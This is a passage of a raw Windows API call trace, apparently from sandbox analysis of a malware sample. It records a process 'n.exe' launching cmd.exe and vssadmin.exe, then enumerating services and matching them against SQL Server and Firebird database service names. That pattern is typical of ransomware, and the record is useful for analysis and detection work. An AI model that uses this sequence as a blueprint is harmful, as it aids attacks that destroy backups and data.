hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.742] lstrlenW (lpString="svchost.exe") returned 11 [0185.742] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.742] lstrlenW (lpString="svchost.exe") returned 11 [0185.742] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.742] lstrlenW (lpString="svchost.exe") returned 11 [0185.742] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.743] lstrlenW (lpString="svchost.exe") returned 11 [0185.743] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0185.743] lstrlenW (lpString="audiodg.exe") returned 11 [0185.743] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.743] lstrlenW (lpString="svchost.exe") returned 11 [0185.743] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0185.744] lstrlenW (lpString="explorer.exe") returned 12 [0185.744] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0185.744] lstrlenW (lpString="dwm.exe") returned 7 [0185.744] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.744] lstrlenW (lpString="svchost.exe") returned 11 [0185.744] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0185.745] lstrlenW (lpString="n.exe") returned 5 [0185.745] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0185.745] lstrlenW (lpString="spoolsv.exe") returned 11 [0185.745] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0185.746] lstrlenW (lpString="svchost.exe") returned 11 [0185.746] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0185.746] lstrlenW (lpString="taskhost.exe") returned 12 [0185.746] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0185.746] lstrlenW (lpString="reader_sl.exe") returned 13 [0185.746] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0185.747] lstrlenW (lpString="n.exe") returned 5 [0185.747] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0185.747] lstrlenW (lpString="cmd.exe") returned 7 [0185.747] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0185.747] lstrlenW (lpString="conhost.exe") returned 11 [0185.747] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0185.748] lstrlenW (lpString="vssadmin.exe") returned 12 [0185.748] Process32NextW (in: hSnapshot=0x1e8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0185.748] CloseHandle (hObject=0x1e8) returned 1 [0185.748] Sleep (dwMilliseconds=0x1f4) [0186.430] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0186.430] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0186.430] GetLastError () returned 0xea [0186.430] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x6b5c80 [0186.430] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0186.431] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0186.431] lstrlenW (lpString="Appinfo") returned 7 [0186.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0186.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0186.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0186.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0186.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0186.431] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0186.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0186.431] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0186.431] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0186.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0186.432] lstrlenW (lpString="AudioSrv") returned 8 [0186.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0186.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0186.432] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0186.432] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0186.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0186.432] lstrlenW (lpString="BFE") returned 3 [0186.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0186.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0186.432] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0186.432] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0186.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0186.432] lstrlenW (lpString="CryptSvc") returned 8 [0186.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0186.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0186.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0186.432] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0186.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0186.432] lstrlenW (lpString="CscService") returned 10 [0186.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0186.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0186.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0186.432] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0186.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0186.432] lstrlenW (lpString="DcomLaunch") returned 10 [0186.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0186.432] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0186.432] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0186.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0186.433] lstrlenW (lpString="Dhcp") returned 4 [0186.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0186.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0186.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0186.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0186.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0186.433] lstrlenW (lpString="Dnscache") returned 8 [0186.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0186.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0186.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0186.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0186.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0186.433] lstrlenW (lpString="DPS") returned 3 [0186.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0186.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0186.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0186.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0186.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0186.433] lstrlenW (lpString="eventlog") returned 8 [0186.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0186.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0186.433] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0186.433] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0186.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0186.433] lstrlenW (lpString="EventSystem") returned 11 [0186.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0186.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0186.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0186.434] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0186.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0186.434] lstrlenW (lpString="gpsvc") returned 5 [0186.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0186.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0186.434] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0186.434] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0186.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0186.434] lstrlenW (lpString="iphlpsvc") returned 8 [0186.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0186.434] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0186.434] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0186.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0186.434] lstrlenW (lpString="LanmanServer") returned 12 [0186.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0186.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0186.434] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0186.434] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0186.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0186.434] lstrlenW (lpString="LanmanWorkstation") returned 17 [0186.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0186.434] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0186.434] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0186.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0186.434] lstrlenW (lpString="lmhosts") returned 7 [0186.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0186.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0186.435] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0186.435] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0186.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0186.435] lstrlenW (lpString="MMCSS") returned 5 [0186.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0186.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0186.435] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0186.435] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0186.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0186.435] lstrlenW (lpString="MpsSvc") returned 6 [0186.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0186.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0186.435] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0186.435] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0186.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0186.435] lstrlenW (lpString="Netman") returned 6 [0186.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0186.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0186.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0186.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0186.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0186.435] lstrlenW (lpString="netprofm") returned 8 [0186.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0186.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0186.435] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0186.435] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0186.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0186.435] lstrlenW (lpString="NlaSvc") returned 6 [0186.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0186.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0186.436] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0186.436] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0186.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0186.436] lstrlenW (lpString="nsi") returned 3 [0186.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0186.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0186.436] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0186.436] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0186.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0186.436] lstrlenW (lpString="PcaSvc") returned 6 [0186.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0186.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0186.436] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0186.436] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0186.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0186.436] lstrlenW (lpString="PlugPlay") returned 8 [0186.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0186.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0186.436] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0186.436] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0186.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0186.436] lstrlenW (lpString="Power") returned 5 [0186.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0186.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0186.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0186.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0186.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0186.436] lstrlenW (lpString="ProfSvc") returned 7 [0186.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0186.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0186.436] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0186.436] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0186.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0186.437] lstrlenW (lpString="RpcEptMapper") returned 12 [0186.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.437] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0186.437] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0186.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0186.437] lstrlenW (lpString="RpcSs") returned 5 [0186.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0186.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0186.437] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0186.437] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0186.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0186.437] lstrlenW (lpString="SamSs") returned 5 [0186.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0186.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0186.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0186.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0186.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0186.437] lstrlenW (lpString="Schedule") returned 8 [0186.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0186.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0186.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0186.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0186.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0186.437] lstrlenW (lpString="SENS") returned 4 [0186.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0186.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0186.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0186.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0186.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0186.437] lstrlenW (lpString="ShellHWDetection") returned 16 [0186.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.438] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0186.438] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0186.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0186.438] lstrlenW (lpString="Spooler") returned 7 [0186.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0186.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0186.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0186.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0186.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0186.438] lstrlenW (lpString="SysMain") returned 7 [0186.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0186.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0186.438] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0186.438] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0186.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0186.438] lstrlenW (lpString="Themes") returned 6 [0186.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0186.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0186.438] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0186.438] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0186.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0186.438] lstrlenW (lpString="TrkWks") returned 6 [0186.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0186.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0186.438] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0186.438] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0186.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0186.438] lstrlenW (lpString="UxSms") returned 5 [0186.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0186.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0186.438] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0186.438] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0186.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0186.439] lstrlenW (lpString="WdiServiceHost") returned 14 [0186.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0186.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0186.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0186.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0186.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0186.439] lstrlenW (lpString="WdiSystemHost") returned 13 [0186.439] 